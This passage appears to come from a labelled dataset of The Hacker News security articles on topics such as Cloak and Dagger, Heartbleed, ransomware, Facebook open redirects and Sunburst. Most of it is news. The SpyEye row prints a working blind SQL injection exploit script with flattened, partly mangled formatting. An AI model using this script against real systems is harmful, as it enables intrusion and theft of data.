What's interesting about Cloak and Dagger attack?

The attack doesn't exploit any vulnerability in Android ecosystem; instead, it abuses a pair of legitimate app permissions that is being widely used in popular applications to access certain features on an Android device.

Researchers at Georgia Institute of Technology have discovered this attack, who successfully performed it on 20 people and none of them were able to detect any malicious activity.

Cloak and Dagger attacks utilise two basic Android permissions:

SYSTEM_ALERT_WINDOW (""draw on top"")
BIND_ACCESSIBILITY_SERVICE (""a11y"")

The first permission, known as ""draw on top,"" is a legitimate overlay feature that allows apps to overlap on a device's screen and top of other apps.

The second permission, known as ""a11y,"" is designed to help disabled, blind and visually impaired users, allowing them to enter inputs using voice commands, or listen content using screen reader feature.

Scary Things Hackers Can Do to Your Android (Demo)

Since the attack does not require any malicious code to perform the trojanized tasks, it becomes easier for hackers to develop and submit a malicious app to Google Play Store without detection.

Unfortunately, it's a known fact that the security mechanisms used by Google are not enough to keep all malware out of its app market.

If you are following regular security updates from The Hacker News, you must be better aware of frequent headlines like, ""hundreds of apps infected with adware targeting play store users,"" and ""ransomware apps found on play store.""

Just last month, researchers uncovered several Android apps masqueraded as an innocent ""Funny Videos"" app on Play Store with over 5,000 downloads but distributed the 'BankBot banking Trojan' that steal victims' banking passwords.

Here's what the researchers explained how they got on the Google Play Store to perform Cloak & Dagger attacks:
""In particular, we submitted an app requiring these two permissions and containing a non-obfuscated functionality to download and execute arbitrary code (attempting to simulate a clearly malicious behavior): this app got approved after just a few hours (and it is still available on the Google Play Store)."" researchers say.
Once installed, the researchers say the attacker can perform various malicious activities including:

Advanced clickjacking attack
Unconstrained keystroke recording
Stealthy phishing attack
Silent installation of a God-mode app (with all permissions enabled)
Silent phone unlocking and arbitrary actions (while keeping the screen off)

In short, the attackers can secretly take over your Android device and spy on your every activity you do on your phone.

Researchers have also provided the video demonstrations of a series of Cloak and Dagger attacks, which will blow your mind, trust me.




Google Can't Fix It, At Least Not So Fast

University researchers have already disclosed this new attack vector to Google but noted that since the issue resides in the way Android OS has been designed, involving two of its standard features that behave as intended, the problem could be difficult to resolve.
""Changing a feature is not like fixing a bug,"" said Yanick Fratantonio, the paper's first author. ""System designers will now have to think more about how seemingly unrelated features could interact. Features do not operate separately on the device.""
As we reported earlier, Google gives ""SYSTEM_ALERT_WINDOW"" (""draw on top"") permission to all applications directly installed from the official Google Play Store since Android Marshmallow (version 6), launched in October 2015.

This feature that lets malicious apps hijack a device's screen is one of the most widely exploited methods used by cyber criminals and hackers to trick unwitting Android users into falling victims for malware and phishing scams.

However, Google has planned to change its policy in 'Android O,' which is scheduled for release in the 3rd quarter this year.

So, users need to wait for a long, long time, as millions of users are still waiting for Android Nougat (N) from their device manufacturers (OEMs).

In other words, the majority of smartphone users will continue to be victimised by ransomware, adware and banking Trojans at least for next one year.

Temporary Mitigation

The easiest way to disable the Cloak and Dagger attacks in Android 7.1.2 is to turn off the ""draw on top"" permission by heading on to:

Settings → Apps → Gear symbol → Special access → Draw over other apps.

The universal and easiest way to avoid being hacked is always to download apps from Google Play Store, but only from trusted and verified developers.

You are also advised to check app permissions before installing apps. If any app is asking more than what it is meant for, just do not install it.

",Vulnerability
Auth3ntiQ & shika01 found Local file include on numericable.be & numericable.lu,https://thehackernews.com/2011/07/auth3ntiq-shika01-found-local-file.html,"Auth3ntiQ & shika01 found local file include on numericable.be & numericable.lu
Hackers named ""Auth3ntiQ and shika01"" found local file include on numericable.be & numericable.lu .


Venerable Links :
Link 1
Link 2

Bugs are critical , Hackers can steal all account with this LFI .
",Vulnerability
"Hollywood Hospital Pays $17,000 Ransom to Hacker for Unlocking Medical Records",https://thehackernews.com/2016/02/ransomware-medical-record.html,"Ransomware has seriously turned on to a noxious game of Hackers to get paid effortlessly.

Once again the heat was felt by the Los Angeles-based Presbyterian Medical Center when a group of hackers had sealed all its sensitive files and demanded $17,000 USD to regain the access to those compromised data.

The devastation of the compromised files can be pitched as:
Compromised emails
Lockout Electronic Medical Record System [EMR]
Encrypted patient data
Unable to carry CT Scans of the admitted patients
Ferried risky patients to nearby hospitals
...and much more unexplained outcomes.

The hospital had confirmed that the Ransomware malware had hit its core heart a week before, potentially affecting the situation to grow much worse.

Hospital End up Paying $17,000

As the situation was grown out of wild, the hospital paid 40 Bitcoins (Roughly US $17,000) to the Ransomware Criminals to resume their medical operations after gaining the decryption keys.
""The quickest and most efficient way to restore our systems and administrative functions was to pay the ransom and obtain the decryption key,"" the hospital CEO Allen Stefanek said in a letter.
All the electronic medical system were restored back soon after unlocking the encrypted file locks.

The Ransomware had stolen the nights of many network administrators, as they would be often blamed to fight up this nasty threat; instead of blaming staffs who click the illegit links in their e-mail.

The FBI Advises Victims to Just Pay the Ransom

Last year, even the FBI advised paying off the Ransom amount to the ransomware criminals as they had not come up with any other alternatives.

Several companies had got webbed in the Ransomware business including a US Police Department that paid US $750 to ransomware criminals three years back.

Criminals often demand the ransom in BTC (their intelligent move) for the surety of not getting caught, as Bitcoin transactions are non-trackable due to its decentralized nature.

So until and unless a permanent solution evolves, users are requested not to click malicious or suspected links sent via an unknown person.

The frequent payment to Ransomware encourages the hackers in the dark to stash the cash and develop a more enticing framework for the next target.

But affecting a medical system is a heinous crime as hospitals are acting as a bridge between life and heaven.

",Malware
"Vulnerability Discovered in SpyEye Botnet, Exploit Available for Download",https://thehackernews.com/2011/09/vulnerability-discovered-in-spyeye.html,"Vulnerability Discovered in SpyEye Botnet, Exploit Available for Download

Blind SQL injection Vulnerability Discovered in SpyEye Botnet by S4(uR4 ( r00tw0rm.com )

Exploit :
Vulnn type : Blind SQL injection
vuln script : frm_cards_edit.php
Affected version : ALL
May use any botnet from : https://spyeyetracker.abuse.ch/monitor.php

What is SpyEye ?
W32/SpyEye
Aliases : This is a list of aliases for the variant of SpyEye discovered in early February 2011 that has been actively targeting Norwegian banking websites:
Trojan-Spy.Win32.SpyEyes.evg (Kaspersky)
PWS-Spyeye.m (McAfee)
Trojan:Win32/EyeStye.H (Microsoft)
A variant of Win32/Spy.SpyEye.CA (NOD32)
W32/Malware.QOOC (Norman)
Trojan.Zbot (Symantec)
Mal_Xed-24 (Trend Micro)
Brief overview
SpyEye is a trojan with backdoor capabilities that attempts to steal sensitive information related to online banking and credit card transactions from an infected machine. SpyEye is sold via its author in an easy to configure kit form, which contains the trojan executable itself, command and control (C&C) server and basic configuration for targeting banking websites. As of the beginning of 2011, SpyEye has merged functionality from the ZeuS trojan family, which has been sold to the SpyEye author, and is now becoming more sophisticated with respect to the features and functionality offered.

SpyEye can potentially utilise a number of techniques in order to obtain a users online banking credentials, typically employing a phishing-style attack by presenting a faked logon web page, which is usually based on the original logon page from the bank, but that has additional HTML form fields and JavaScript inserted within, in order to obtain logon credentials that are not normally part of the logon process, such as PIN/TAN codes. A copy of the HTTP POST request is sent to the SpyEye C&C server, from which an attacker can extract the banking credentials or credit card details, and start conducting their own fraudulent transactions.
Download Exploit

Exploit Preview :
Example:
Spyeye_r0073r /dir/""version()""
""""""
if len(argv)<=3: exit() else: print ""[+]Started pwn..."" host = argv[1] path = argv[2] sql = argv[3] port = 80 hash = """" full = [] for k in range(48,122): full.append(k) full.append(0) # full value [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 0] # This is the charset to try delay = 0.5 a=1 while a <= 32: for i in full: j = 0 if i == 0: exit('\n[+]Finished\n') # start = time() # start time for the delay conn = HTTPConnection(host,port) #values = { ""id"" : ""1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((4.0.5),a,1)),0)=""K""),BENCHMARK(9000000,SHA1(1)),1));-- /*"" } values = { ""id"" : ""1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING(("" + sql + ""),"" + str(j) + "",1)),0)="" + str(i) + ""),BENCHMARK(9000000,SHA1(1)),1));-- /*"" } data = urllib.urlencode(values) print data conn.request(""GET"", path + ""frm_cards_edit.php?"" + data ) response = conn.getresponse() read = response.read() print read if response.status == 404: exit('[+]404') #404 now = time() if now - start > delay:
#has come true then the character is valid
stdout.write(chr(i))
stdout.flush()
hash += chr(i)
a += 1
break;
else: j += 1
print ""i vale %s, y J vale %s"" %(i,j)

",Vulnerability
Microsoft Office 365 Gets Built-in Ransomware Protection and Enhanced Security Features,https://thehackernews.com/2018/04/microsoft-office-ransomware.html,"Ransomware has been around for a few years, but it has become an albatross around everyone's neck, targeting big businesses, hospitals, financial institutions and individuals worldwide and extorting millions of dollars.

Last year, we saw some major ransomware outbreaks, including WannaCry and NotPetya, which wreaked havoc across the world, hitting hundreds of thousands of computers and business networks worldwide.

From small to mid-range businesses, Microsoft Office 365 remains the most widely used and fastest-growing work office suite, so it's no surprise that it has become a primary target for viruses, ransomware, and phishing scams.

In fact, most strains of ransomware target Microsoft productivity apps such as Word, Excel and encrypt sensitive data to hold the company hostage until the ransom is paid.

Now, to combat such cyber attacks, Microsoft has announced some new security features for Office 365 that can help users mitigate the damage done by ransomware and other malware infections.

The new features were initially introduced for OneDrive for Business, but that the company is now rolling them out to anyone who has signed up for an Office 365 Home or Personal subscription, Microsoft Office blog says.

Here below I have briefed the list of new features:

File Recovery and Anti-Ransomware
Files Restore—Microsoft Office 365 now allows users to restore entire OneDrive to a previous point in time within the last 30 days. This feature can be used to recover files from an accidental mass delete, file corruption, ransomware, or any catastrophic event.
Ransomware detection & recovery—Office 365 had also introduced a new security feature that detects ransomware attacks and alerts you through an email, mobile, or desktop notification while helping you restore your OneDrive to a point before the malware compromised files.
Security and Privacy Features
Office 365 has added three new features to help keep your confidential or personal data (such as tax documents, family budgets, or a new business proposal) secure and private when sharing them online.
Password protected sharing links—This feature allows you to set a password for your shared file and folders, preventing unauthorized access even if your recipient accidentally forwards protected documents to others.
Email encryption—This feature allows users to send/receive end-to-end encrypted emails in Outlook over a secure connection, providing additional protection to minimize the threat of being intercepted.
Prevent forwarding—Microsoft now enables you to restrict your email recipients from forwarding or copying emails you send to them from Outlook. Besides this, any MS Office document attached to your emails will remain encrypted even after downloading, so if the recipient shares your attachment with others, they will not be able to open it.

Advanced Protection from Viruses and Cybercrime
Advanced link checking in Word, Excel, and PowerPoint—Office 365 also offers built-in real-time web protection, which monitors every link you click in Word, Excel, and PowerPoint and notifies you if it is suspicious.
File Recovery and Anti-Ransomware features began rolling out starting today and will be available to all Office 365 users soon, while features to help keep your information secure and private (including password protected sharing links, email encryption, and prevent forwarding) will start rolling out in the coming weeks.

Advanced link checking and advanced attachment scanning are already available in MS Outlook that protects you from previously unseen viruses and phishing scams in real-time. However, advanced link checking in Word, Excel, and PowerPoint will roll out in the second half of 2018.

",Malware
TigerBot - SMS Controlled Android Malware Stealing Information,https://thehackernews.com/2012/04/tigerbot-sms-controlled-android-malware.html,"TigerBot - SMS Controlled Android Malware Stealing Information

A new form of Android malware controlled via SMS messages has been discovered and the malware can record phone calls, upload the device's GPS location, and reboot the phone, among other things.

Researchers at NQ Mobile, working alongside researchers at North Carolina State University, have discovered this Android malware called ""TigerBot"", differs from ""traditional"" malware in that it is controlled via SMS rather than from a command & control (C&C) server on the Internet.

A common aspect of Android malware is the use of a command and control server that tells the malware what to do next and acts as a repository for any captured passwords or banking information.

The current information about this malware show that it can execute a range of commands including uploading the phone's current location, sending SMS messages, and even recording phone calls. It works by intercepting SMS messages sent to the phone and checking to see if they are commands for it to act. If they are, it executes the command and then prevents the message from being seen by the user.

TigerBot tries to hide itself from the user by not showing any icon on the home screen and by using legitimate sounding app names (like System) or by copying names from trusted vendors like Google or Adobe.

Based on our current analysis, it supports the following commands:
Record the sounds in the phone, including the phone calls, the surrounding sounds and etc.
Change the network setting.
Upload the current GPS location.
Capture and upload the image.
Send SMS to a particular number.
Reboot the phone.
Kill other running processes.
To avoid becoming a victim, Only download applications from trusted sources, reputable application stores, and markets, and be sure to check reviews, ratings and developer information before downloading.

",Malware
HeartBleed Bug Explained - 10 Most Frequently Asked Questions,https://thehackernews.com/2014/04/heartbleed-bug-explained-10-most.html,"Heartbleed – I think now it's not a new name for you, as every informational website, Media and Security researchers are talking about probably the biggest Internet vulnerability in recent history. It is a critical bug in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data, that the server did not intend to reveal.

After the story broke online, websites around the world flooded with the heartbleed articles, explaining how it works, how to protect, and exactly what it is. Yet many didn't get it right. So based on the queries of Internet users, we answered some frequently asked questions about the bug.

1.) IS HEARTBLEED A VIRUS?
Absolutely NO, It's not a virus. As described in our previous article, The Heartbleed bug is a vulnerability resided in TLS heartbeat mechanism built into certain versions of the popular open source encryption standard OpenSSL, a popular version of the Transport Layer Security (TLS) protocol.

2.) HOW IT WORKS?
For SSL to work, your computer needs to communicate to the server via sending 'heartbeats' that keep informing the server that client (computer) is online (alive).

Heartbleed attack allows an attacker to retrieve a block of memory of the server up to 64kb in response directly from the vulnerable server via sending the malicious heartbeat and there is no limit on the number of attacks that can be performed. [Technically Explained by Rahul Sasi on Garage4hackers]

It opens doors for the cyber criminals to extract sensitive data directly from the server's memory without leaving any traces.
xkcd comic https://xkcd.com/1354/
3.) HEARTBLEED ATTACK RELIES ON MAN-IN-THE-MIDDLE ATTACK?
No, it has nothing to deal with a Man-in-the-Middle (MitM) attack. But using Heartbleed attack, one can manage to obtain the private encryption key for an SSL/TLS certificate and could set up a fake website that passes the security verification.

An attacker could also decrypt the traffic passing between a client and a server i.e. Perfect man-in-the-middle attack on HTTPS connection.

4.) IS IT A CLIENT SIDE OR SERVER SIDE VULNERABILITY?
TLS heartbeats can be sent by either side of a TLS connection, so it can be used to attack clients as well as servers. An Attacker can obtain up to 64K memory from the server or client as well that uses an OpenSSL implementation vulnerable to Heartbleed (CVE-2014-0160).

Researcher estimated two-thirds of the world's servers i.e. half a million servers are affected by the Heartbleed Bug, including websites, email, and instant messaging services.

Video Explanation:
5.) HOW HEARTBLEED AFFECTS SMARTPHONES?
Smartphone is the best practical example of Client side attacks.

All versions of Android OS include outdated versions of OpenSSL library, but only Android 4.1.1 Jelly Bean has the vulnerable heartbeat feature enabled by default. Blackberry also confirmed that some of its products are vulnerable to Heartbleed bug, whereas Apple's iOS devices are not affected by OpenSSL flaw.

Google had patched the affected version Android 4.1.1, but it will take long time to deliver updated Android version to the end Smartphone users as updates to majority handsets are controlled by phone manufacturers and wireless carriers. Until users running the affected versions are vulnerable to the attacks, and hackers will definitely take advantage of this public disclosure.

6.) WHAT ELSE COULD BE VULNERABLE TO HEARTBLEED?
IP phones, Routers, Medical devices, Smart TV sets, embedded devices and millions of other devices that rely on the OpenSSL to provide secure communications could also be vulnerable to Heartbleed bug, as it is not expected for these devices to get the updates soon from Google's Android partners.

Yesterday, Industrial Control Systems-CERT also warned the critical infrastructure organizations (like energy, utilities or financial services companies) to beef-up their systems in order to defend against the Heartbleed attacks.

7.) WHO IS RESPONSIBLE FOR HEARTBLEED?
We actually can't blame anyone developer, specially who are contributing to Open Source projects without money motivations.

Dr. Robin Seggelmann, a 31-year-old German developer who actually introduced the Heartbeat concept to OpenSSL on New Year's Eve, 2011, says it was just a programming error in the code that unintentionally created the ""Heartbleed"" vulnerability.

""In one of the new features, unfortunately, I missed validating a variable containing a length"", went undetected by the code reviewers and everyone else for over two years. He claimed 'I did so unintentionally'.

8.) WHO HAS EXPLOITED THIS BUG YET?
Bloomberg accused the National Security Agency (NSA) of knowing the Heartbleed bug for the last two years. Not even this, the report says the agency was using it continuously to gain information instead of disclosing it to the OpenSSL developers. But if it is so, then this would be one of the biggest developments in the history of wiretapping ever. However, the agency denied it saying NSA was not aware of Heartbleed until it was made public.

But when it comes to exploit any known vulnerability, then Hackers are most likely to be top on the list. As the flaw was so widely spread that it affected half a million websites worldwide, so after the public disclosure, the cybercriminals could reach the sites to steal credentials, passwords and other data, before the site operators apply the freely available patch.

There are multiple Proof-of-concept exploits available for the Heartbleed flaw:
Python Script
Metasploit Module
C Code
NMAP script
Python Script by Rahul Sasi
9.) CHANGING ACCOUNT PASSWORDS CAN SOLVE THE ISSUE?
Not exactly, as Heartbleed attack has the ability to leak anything from the server including your passwords, credit card details or any kind of personal information. But, in order to protect your online accounts you should at least change your passwords immediately for the sites that resolved the issue and for the sites not affected by the bug as well, just to make sure that you are safe.

First of all check if the sites you use every day on an individual basis are vulnerable to Heartbleed bug or not using following services or apps:, and if you're given a red flag, avoid the site for now.
https://filippo.io/Heartbleed/
Provensec Scanner
GlobalSign SSL Configuration Checker
ADTsys Checker
The easiest way to keep you safe is to use a new add-on to the Chrome browser, Chromebleed, created by security researcher, Jamie Hoyle.
To check whether your Android devices are safe or not, you can install the Bluebox Heartbleed Scanner available on the Google Play Store. The Bluebox Heartbleed Scanner looks for apps installed on your device that have bundled their own version of OpenSSL and the scanner also checks the version of the library and whether heartbeat is enabled or not.
Well, nobody is sure at this point, because Heartbleed is stealthy as it leaves no traces behind and here the matter goes worse.

You may never know if you have been hacked using the flaw or not. This means that there is no way to tell if your information was stolen previously from a site or a service that has now fixed it.

But if you haven't change the password to the popular sites yet, then yes, your password and financial information are still widely open to cybercriminals and other spying agencies.

10.) WHAT SHOULD I DO TO PROTECT MYSELF?
First of all DON'T PANIC. You have to change your password everywhere, assuming that it was all vulnerable before, just to make sure that you are now safe. But hold on... If some sites are still affected by the flaw then your every effort is useless, as it's up to the site to first fix the vulnerability as soon as possible , because changing the password before the bug is fixed could compromise your new password as well.

If you own a vulnerable SSL Service, then you are recommended to:
Upgrade the OpenSSL version to 1.0.1g
Request revocation of the current SSL certificate
Regenerate your private key
Request and replace the SSL certificate
Don't reuse any old passwords and it is good practice to use two-factor authentication, which means with the password, the account requires a freshly generated pass code that shows up only on your personal smartphone, before getting into certain sites.

Stay Safe!
How Heartbleed Bug Exposes Your Passwords to Hackers
German Developer responsible for HeartBleed Bug in OpenSSL
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable
NSA denies Report that Agency knew and exploited Heartbleed Vulnerability

",Vulnerability
Facebook Scam : Selena Gomez Caught On Leaked Tape,https://thehackernews.com/2012/01/facebook-scam-selena-gomez-caught-on.html,"Facebook Scam : Selena Gomez Caught On Leaked Tape


Another Facebook Scam is circulating with the headline ""Selena Gomez Caught On Leaked Tape"" and Message ""you will lost your all respect for Selena Gomez after watching this"". By Clicking the wall post link takes you to the following page designed to look like Facebook. Facebook already declared as ""Most Spamy Social Network of the Year"" by The Hacker News Awards 2011.

Clicking the play button loads a ""share"" box allowing you to spread the scam message to your friends. The following survey scam also loads another Scam as shown below. Scams like this often use multiple domains, so you may see a variation in the landing pages and scam messages.
These scams contain click-jacking and like-jacking components and ends in a survey scam. One of the most common types of Facebook spam is a Wall post that encourages you to install a Facebook application. The application will require that you to agree to allow the application to post on your Wall and your friend's Facebook pages. When you allow this authorization, the spam message is immediately sent to your friend's Walls. If a friend sees the message and performs the action, he or she will then see the same spam on their Wall and the cycle continues. This is how spam messages can move so quickly through Facebook.

Unfortunately, many of these messages are designed to trick Facebook users into cutting and pasting malicious code into the address bar in the Web browser or by clicking an embedded link in the message that takes you off Facebook where you could potentially become victim to malicious malware and phishing scams. Please Share the News Link on your Facebook/Twitter/Google+ to warn your friends about this threat.

",Malware
Espionage Campaign targets iOS devices with Malware apps,https://thehackernews.com/2015/02/malware-espionage-ios-apps.html,"A malware campaign has been found targeting iOS devices linked to a wide range of entities, including European defense organizations, governments, and media sectors with dangerous espionage spyware capable of breaching non-jailbroken devices, a recent report claims.

The spyware campaign, dubbed ""Operation Pawn Storm"" by security experts, was first detected on Windows computers late last year, but has now made its way to iOS devices, a report by security researchers at TrendLabs noted. The researchers linked the campaign to the Russian government.

XAGENT SPYWARE APP
One of the two spywares used in the campaign is actually an application, the firm dubbed the app XAgent, that attempts to install and run on iOS devices.
""The XAgent app is fully functional malware,"" the researchers noted. ""The exact methods of installing these malware is unknown; however, we do know that the iOS device doesn't have to be jailbroken ... We have seen one instance wherein a lure involving XAgent simply says 'Tap Here to Install the Application'.""
The fake website then distributes the spyware via Apple's ad-hoc provisioning feature intended for enterprises and developers who wish to distribute their apps to a small group of individuals and allows users to bypass the App Store.

XAGENT COLLECTS ALMOST EVERYTHING
Once installed, XAgent will collect text messages, contact lists, pictures, geolocation data, information from a list of installed apps on an iOS device, and the WiFi status of the device. The information is then sent back to a server operated by the hackers. XAgent is also capable of switching on the phone's microphone and recording everything it hears.

The XAgent malware application runs on both iOS 7 and iOS 8 devices, whether they've been jailbroken or not. The malicious app is most dangerous on iOS 7 since it hides its icon to evade detection, but it is unable to hide itself or automatically restart itself on iOS 8 devices.

MADCAP GAME APP
Another malware agent of Operation Pawn Storm is a malware that disguised as a game called ""MadCap"". It focused on recording audio and only works on jailbroken devices. MadCap functionality is similar to XAgent, but differs in that it can only be installed on jailbroken devices.

Security researchers said that the malware applications appeared to be carefully maintained and consistently updated by the hackers. The attackers' have not been identified yet, although the command and control server used in the attacks was in operation at the time of research.

",Malware
Facebook Open URL Redirection vulnerability,https://thehackernews.com/2013/11/facebook-open-url-redirection-vulnerability_16.html,"Security Researcher Dan Melamed discovered an Open URL redirection vulnerability in Facebook that allowed him to have a facebook.com link redirect to any website without restrictions.

An open URL Redirection flaw is generally used to convince a user to click on a trusted link which is specially crafted to take them to an arbitrary website, the target website could be used to serve a malware or for a phishing attack.
An Open URL Redirection url flaw in Facebook platform and third party applications also exposes the user's access token at risk if that link is entered as the final destination in an Oauth dialog.

The Facebook Open URL Redirection vulnerability exists at landing.php page with ""url"" parameter, i.e.
https://facebook.com/campaign/landing.php?url=https://yahoo.com
This URL will always redirects user to the Facebook's homepage, but it is sufficient to manipulate the ""url"" parameter assigning a random string:
https://facebook.com/campaign/landing.php?url=asdf
In reality the above URL generated a unique ""h"" variable and passed the url parameter to Facebook's Linkshim (l.php):
https://www.facebook.com/l.php?u=asdf&h=mAQHgtP_E
Once noted the redirection process, Dan Melamed explored the way to exploit the mechanism to bypass the restrictions on redirection and loaded an arbitrary link.

Dan discovered that simply removing the https:// part of the target destination is enough to redirect a Facebook link elsewhere without any restriction i.e.
https://facebook.com/campaign/landing.php?url=yahoo.com
The Facebook's Linkshim (l.php) interprets the link target.com the same as https://target.com making possible the redirection.

Facebook informed Dan that because the redirection occurs through the l.php method, the social networking platform is able to apply a proper filter from redirecting using automatic spam and malware analysis.

It is easy to understand that despite Facebook filters target url, it could not detect all malware/spam campaign addressed ""and by the time a link is banned, an attacker would have already moved on to another link.""

Proof of Concept video:

Facebook quickly fixed the vulnerability after the Dan's report and the payout $1,000 reward under the bug bounty program.

In Past he had revealed a Critical Facebook vulnerability that allowed account hacking and two Facebook vulnerabilities related to the Fanpage Invite of the popular social network.

",Vulnerability
"FBI warning about Banking trojan ""Gameover""",https://thehackernews.com/2012/01/fbi-warning-about-banking-trojan.html,"FBI warning about Banking trojan ""Gameover""


Organized crooks have begun launching debilitating cyber attacks against banks and their customers as part of a smoke screen to prevent victims from noticing simultaneous high-dollar cyber heists. On Friday the FBI issued a warning about a banking trojan named Gameover. It's a new variant of Zeus, a user credential stealing malware that targets online bank users. Zeus has been around for years, and every now and then a new version with a new twist pops up.

Gameover has also been implicated in Distributed-Denial-of-Service attacks that temporarily-disable bank websites to draw attention away from fraudulent transactions. Like another Zeus variant, Troj/BredoZp-GY, Gameover uses e-mail spam to propagate, and the safest way to keep Gameover away from your PC is to avoid links and file attachments that are contained in unfamiliar e-mail messages.

Experts warn that any interaction with this fake NACHA link can infect your PC with the Gameover banking Trojan, which will attempt to steal bank-related information while Gameover hides its own actions from site. Gameover Trojan it must be removed immediately to make your computer clean and safe.

How do you avoid bank trojans? - ( from Norman Blog )
Never, ever click on links (in email) that encourage you to ""update your account information"", ""check if your account has been compromised"" or similar.
Always, always login to your bank by typing the address in the browser url bar.
Make sure your browser and operating system are always updated. Never, ever click ""Later"" when your browser or OS prompts you about a new security update.
Keep you antivirus up to date. An advanced security solution will detect any harmful sites and block any malicious files, so that you don't have to.

Because Gameover and similar forms of banking Trojans are designed to conduct their attacks in a clandestine manner, you may not see much sign of Gameover on your PC, other than some anomalies in RAM usage or file processes. However, a successful Gameover infection can be the cause of :
Loss of account login data and other forms of information that are used in bank-related websites.
Loss of other forms of information that are gathered through keylogging (a broad form of spyware attack that monitors all types of keyboard input).
Fraudulent transactions from your bank account due to abuse of any information that was stolen in the above attacks.
DDoS (or Distributed-Denial-of-Service) attacks that crash your bank's website to limit your access and conceal these transactions.
Read Here the Method to Remove ""Gameover"" from infected computers.

",Vulnerability
Virus threat hit Israeli Foreign Ministry computers,https://thehackernews.com/2012/10/virus-threat-hit-israeli-foreign.html,"A number of Israel's government offices have fallen victim to a cyber attack over the past week, one apparently aimed at slipping a ""Trojan horse"" into the computer servers at these ministries.

Israeli police immediately pulled the national computer network from the civilian Internet after this cyber threat . A Trojan horse has been sent as files attached to emails bearing the name of the IDF Chief of Staff Benny Gantz in the subject line.

According to the reports from haaretz,A senior government clerk stressed that the threat facing the police was being investigated by experts. It is also not clear that either breach involved a wide-scale cyber-attack, or a virus infecting only a few computers.
Government employees were advised not to open their emails or Facebook messages if such strange activity was noticed. Dozens of identical emails were sent Wednesday to Israel embassies abroad and to Foreign Ministry employees in Israel.

The intelligence tip did not indicate the culprit behind the attack, but it appeared to be an external organization. The police are still trying to identify the source.

",Cyber_Attack
Researchers Find Links Between Sunburst and Russian Kazuar Malware,https://thehackernews.com/2021/01/researchers-find-links-between-sunburst.html,"Cybersecurity researchers, for the first time, may have found a potential connection between the backdoor used in the SolarWinds hack to a previously known malware strain.
In new research published by Kaspersky researchers today, the cybersecurity firm said it discovered several features that overlap with another backdoor known as Kazuar, a .NET-based malware first documented by Palo Alto Networks in 2017.
Disclosed early last month, the espionage campaign was notable for its scale and stealth, with the attackers leveraging the trust associated with SolarWinds Orion software to infiltrate government agencies and other companies so as to deploy a custom malware codenamed ""Sunburst.""
Shared Features Between Sunburst and Kazuar
Attribution for the SolarWinds supply-chain compromise has been difficult in part due to little-to-no clues linking the attack infrastructure to previous campaigns or other well-known threat groups.
But Kaspersky's latest analysis of the Sunburst backdoor has revealed a number of shared features between the malware and Kazuar, leading the researchers to suspect that —
Both Sunburst and Kazuar were developed by the same threat group
The adversary behind Sunburst used Kazuar as an inspiration
The groups behind Kazuar (Turla) and Sunburst (UNC2452 or Dark Halo) obtained the malware from a single source
The developers of Kazuar moved to another team, taking their toolset with them, or
The Sunburst developers deliberately introduced these links as ""false flag"" to shift blame to another group
The commonalities shared between the two malware families include the use of a sleeping algorithm to stay dormant for a random period between connections to a C2 server, the extensive usage of the FNV-1a hash to obfuscate the malicious code, and the use of a hashing algorithm to generate unique victim identifiers.
While Kazuar randomly selects a sleeping period between two and four weeks between C2 connections, Sunburst randomly opts for a sleeping period between 12 and 14 days before contacting the server for initial reconnaissance. But researchers noted that the formula used to calculate the sleeping time remains the same.
Kazuar's Possible Links to Turla
Kazuar is a fully featured backdoor written using the .NET Framework and relies on a command-and-control (C2) channel to allow actors to interact with the compromised system and exfiltrate data. Its features run the typical spyware gamut, with support for running malicious commands, capture screenshots, and even deploy additional functionalities via a plugin command.
Palo Alto Networks' Unit 42 team tentatively linked the tool to the Russian threat group Turla (aka Uroburos and Snake) based on the fact that the ""code lineage in Kazuar can be traced back to at least 2005.""
What's more, on November 18, 2020, Kazuar appears to have undergone a complete redesign with new keylogger and password-stealing functions added to the backdoor that's implemented in the form of a C2 server command.
While it's normal for threat actors to keep updating their toolset and introduce features designed to bypass endpoint detection and response (EDR) systems, Kaspersky researchers raised the possibility that the changes may have been introduced in response to the SolarWinds breach.
""Suspecting the SolarWinds attack might be discovered, the Kazuar code was changed to resemble the Sunburst backdoor as little as possible,"" the researchers said.
CISA Updates SolarWinds Advisory
Last week, the U.S. Cybersecurity and Infrastructure Security Agency (CISA), along with the Federal Bureau of Investigation (FBI), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA), issued a joint statement formally accusing an adversary ""likely Russian in origin"" for staging the SolarWinds hack.
Furthermore, CISA, in an update to its advisory on January 6, said, ""incident response investigations have identified that initial access in some cases was obtained by password guessing, password spraying, and inappropriately secured administrative credentials accessible via external remote access services.""
""These code overlaps between Kazuar and Sunburst are interesting and represent the first potential identified link to a previously known malware family,"" Kaspersky researchers concluded.
""While Kazuar and Sunburst may be related, the nature of this relation is still not clear. Through further analysis, it is possible that evidence confirming one or several of these points might arise. At the same time, it is also possible that the Sunburst developers were really good at their opsec and didn't make any mistakes, with this link being an elaborate false flag.""

",Cyber_Attack
Apple Patches 22 Safari WebKit Vulnerabilities,https://thehackernews.com/2014/05/apple-patches-22-safari-webkit.html,"Apple has just released a pair of software updates for its Safari web browser addressing multiple Webkit vulnerabilities in Mac OS X, providing its users with 21 security patches.

The critical bug resides in the Safari 7.0.4 for Mac OS X Mavericks 10.9.3 and Safari 6.1.4 for OS X Lion 10.7.5, OS X Lion Server 10.7.5 and Mountain Lion 10.8.5.

According to Apple's security advisory, All of the 21 security flaws address the iOS browser vulnerabilities proliferating through the Safari's open-source Webkit rendering engine. This webkit vulnerability allows a malicious website to execute an arbitrary code on the host computer or unexpected termination of an application in an effort to compromise users' confidential information.

""Visiting a maliciously crafted website may lead to an unexpected application termination or arbitrary code execution,"" Apple warned in the advisory.

Security updates tackle a number of flaws including:
CVE-2013-2875
CVE-2013-2927
CVE-2014-1323
CVE-2014-1324
CVE-2014-1326
CVE-2014-1327
CVE-2014-1329
